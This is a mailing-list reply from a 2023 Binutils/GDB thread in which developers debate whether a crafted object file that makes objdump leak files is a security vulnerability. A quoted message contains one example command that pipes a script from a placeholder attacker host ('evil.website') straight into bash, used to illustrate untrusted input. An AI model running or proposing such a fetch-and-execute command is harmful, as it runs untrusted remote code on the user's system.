Re: RFC: Adding a SECURITY.md document to the Binutils

Richard Earnshaw via Gdb <[email protected]>
Newsgroups gmane.comp.gdb.devel,gmane.comp.gnu.binutils
Message-ID <[email protected]>

On 13/04/2023 14:35, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:11, Richard Earnshaw wrote:
>>> This is why when one does a:
>>>
>>> curl -s http://evil.website/malicious-script.sh | bash
>>>
>>> it is a legitimate security issue, but it's not a vulnerability in 
>>> bash, nor can it be secured in bash.  One must either do this in a 
>>> sandbox to contain its impact in that sandbox, or do a secondary 
>>> analysis (again in a sandbox) to determine that it is safe.
>>
>> Right, but that's not the case I was concerned about.  My scenario is 
>> more like when you run something like
>>
>> objdump foo.o
>>
>> but reading foo.o causes corruption in the tools (eg by a buffer 
>> exploit) and ends up sending a confidential file to a third party.
> 
> It's not fundamentally different from, e.g.
> 
> bash malicious-script.sh
> 
> it just feels different because you elided the transport mechanism. 
> Fundamentally, it is unsafe to do anything with untrusted content 
> without sandboxing, so objdump is no different.  Sure, objdump is an 
> analysis tool, so it should be able to analyze foo.o without crashing, 
> but that's a robustness issue, not a security one.  The security aspect 
> should be handled by a sandbox.

Sorry, I disagree.  Sending files to third parties is completely outside 
of the intended scope of objdump, so if it ends up being able to do so, 
that's a security issue.

R.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.